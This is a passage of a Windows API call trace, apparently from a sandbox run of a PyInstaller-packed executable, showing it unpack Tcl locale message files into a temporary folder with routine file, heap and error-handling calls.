lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\mr.msg") returned 61 [0037.600] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\mr.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\mr.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.600] GetLastError () returned 0x2 [0037.601] SetLastError (dwErrCode=0x2) [0037.601] GetLastError () returned 0x2 [0037.601] SetLastError (dwErrCode=0x2) [0037.601] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\mr.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\mr.msg", lpFilePart=0x0) returned 0x3c [0037.601] GetLastError () returned 0x2 [0037.601] SetLastError (dwErrCode=0x2) [0037.601] GetLastError () returned 0x2 [0037.601] SetLastError (dwErrCode=0x2) [0037.601] GetLastError () returned 0x2 [0037.601] SetLastError (dwErrCode=0x2) [0037.601] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\mr.msg") returned 61 [0037.601] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.601] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\mr.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\mr.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.602] GetFileType (hFile=0x10c) returned 0x1 [0037.602] htonl (hostlong=0xf070000) returned 0x70f [0037.602] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.602] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x70f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x70f, lpOverlapped=0x0) returned 1 [0037.603] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.603] CloseHandle (hObject=0x10c) returned 1 [0037.603] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.603] htonl (hostlong=0x30000000) returned 0x30 [0037.604] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.604] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.604] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.604] GetFileType (hFile=0x10c) returned 0x1 [0037.604] htonl (hostlong=0xce865700) returned 0x5786ce [0037.604] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c36ce, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.604] htonl (hostlong=0x9e000000) returned 0x9e [0037.604] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9e) returned 0x55cfe0 [0037.604] htonl (hostlong=0x9e000000) returned 0x9e [0037.604] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.604] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.604] htonl (hostlong=0xfb000000) returned 0xfb [0037.604] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.604] htonl (hostlong=0x9e000000) returned 0x9e [0037.604] htonl (hostlong=0xfb000000) returned 0xfb [0037.604] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.604] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.604] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.604] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.604] CloseHandle (hObject=0x10c) returned 1 [0037.604] GetLastError () returned 0x0 [0037.604] SetLastError (dwErrCode=0x0) [0037.604] GetLastError () returned 0x0 [0037.604] SetLastError (dwErrCode=0x0) [0037.605] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.605] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.605] GetFileType (hFile=0x10c) returned 0x1 [0037.605] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.605] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.605] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.605] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.605] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.605] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.605] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.605] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.605] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.605] CloseHandle (hObject=0x10c) returned 1 [0037.605] GetLastError () returned 0x0 [0037.605] SetLastError (dwErrCode=0x0) [0037.605] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.605] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.605] GetFileType (hFile=0x10c) returned 0x1 [0037.605] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.605] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.605] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.605] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.605] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.605] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.606] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.606] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.606] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.606] CloseHandle (hObject=0x10c) returned 1 [0037.606] GetLastError () returned 0x0 [0037.606] SetLastError (dwErrCode=0x0) [0037.606] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\mr_in.msg") returned 64 [0037.606] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\mr_in.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\mr_in.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.606] GetLastError () returned 0x2 [0037.606] SetLastError (dwErrCode=0x2) [0037.606] GetLastError () returned 0x2 [0037.606] SetLastError (dwErrCode=0x2) [0037.606] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\mr_in.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\mr_in.msg", lpFilePart=0x0) returned 0x3f [0037.606] GetLastError () returned 0x2 [0037.606] SetLastError (dwErrCode=0x2) [0037.606] GetLastError () returned 0x2 [0037.606] SetLastError (dwErrCode=0x2) [0037.606] GetLastError () returned 0x2 [0037.606] SetLastError (dwErrCode=0x2) [0037.606] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\mr_in.msg") returned 64 [0037.606] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.606] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\mr_in.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\mr_in.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.607] GetFileType (hFile=0x10c) returned 0x1 [0037.607] htonl (hostlong=0xfb000000) returned 0xfb [0037.607] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.607] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.608] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.608] CloseHandle (hObject=0x10c) returned 1 [0037.608] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.608] htonl (hostlong=0x30000000) returned 0x30 [0037.608] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.608] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.608] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.608] GetFileType (hFile=0x10c) returned 0x1 [0037.608] htonl (hostlong=0x6c875700) returned 0x57876c [0037.608] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c376c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.609] htonl (hostlong=0x21010000) returned 0x121 [0037.609] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x121) returned 0x550600 [0037.609] htonl (hostlong=0x21010000) returned 0x121 [0037.609] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.609] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.609] htonl (hostlong=0x8e030000) returned 0x38e [0037.609] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x38e) returned 0x550730 [0037.609] htonl (hostlong=0x21010000) returned 0x121 [0037.609] htonl (hostlong=0x8e030000) returned 0x38e [0037.609] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.609] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.609] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.609] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.609] CloseHandle (hObject=0x10c) returned 1 [0037.609] GetLastError () returned 0x0 [0037.609] SetLastError (dwErrCode=0x0) [0037.609] GetLastError () returned 0x0 [0037.609] SetLastError (dwErrCode=0x0) [0037.609] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.609] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.609] GetFileType (hFile=0x10c) returned 0x1 [0037.609] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.609] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.609] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.609] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.609] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.609] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.610] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.610] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.610] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.610] CloseHandle (hObject=0x10c) returned 1 [0037.610] GetLastError () returned 0x0 [0037.610] SetLastError (dwErrCode=0x0) [0037.610] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.610] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.610] GetFileType (hFile=0x10c) returned 0x1 [0037.610] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.610] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.610] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.610] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.610] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.610] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.610] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.610] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.610] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.610] CloseHandle (hObject=0x10c) returned 1 [0037.611] GetLastError () returned 0x0 [0037.611] SetLastError (dwErrCode=0x0) [0037.611] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ms.msg") returned 61 [0037.611] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ms.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ms.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.611] GetLastError () returned 0x2 [0037.611] SetLastError (dwErrCode=0x2) [0037.611] GetLastError () returned 0x2 [0037.611] SetLastError (dwErrCode=0x2) [0037.611] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ms.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ms.msg", lpFilePart=0x0) returned 0x3c [0037.611] GetLastError () returned 0x2 [0037.611] SetLastError (dwErrCode=0x2) [0037.611] GetLastError () returned 0x2 [0037.611] SetLastError (dwErrCode=0x2) [0037.611] GetLastError () returned 0x2 [0037.611] SetLastError (dwErrCode=0x2) [0037.611] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ms.msg") returned 61 [0037.611] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.611] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ms.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ms.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.611] GetFileType (hFile=0x10c) returned 0x1 [0037.611] htonl (hostlong=0x8e030000) returned 0x38e [0037.611] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.611] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x38e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x38e, lpOverlapped=0x0) returned 1 [0037.613] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.613] CloseHandle (hObject=0x10c) returned 1 [0037.614] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550730 | out: hHeap=0x530000) returned 1 [0037.614] htonl (hostlong=0x30000000) returned 0x30 [0037.614] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.614] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.614] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.614] GetFileType (hFile=0x10c) returned 0x1 [0037.614] htonl (hostlong=0x8d885700) returned 0x57888d [0037.614] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c388d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.614] htonl (hostlong=0xa0000000) returned 0xa0 [0037.614] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa0) returned 0x55cfe0 [0037.614] htonl (hostlong=0xa0000000) returned 0xa0 [0037.614] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.614] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.614] htonl (hostlong=0x3010000) returned 0x103 [0037.614] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x103) returned 0x550600 [0037.614] htonl (hostlong=0xa0000000) returned 0xa0 [0037.614] htonl (hostlong=0x3010000) returned 0x103 [0037.614] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.614] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.614] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.614] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.614] CloseHandle (hObject=0x10c) returned 1 [0037.614] GetLastError () returned 0x0 [0037.614] SetLastError (dwErrCode=0x0) [0037.614] GetLastError () returned 0x0 [0037.615] SetLastError (dwErrCode=0x0) [0037.615] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.615] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.615] GetFileType (hFile=0x10c) returned 0x1 [0037.615] 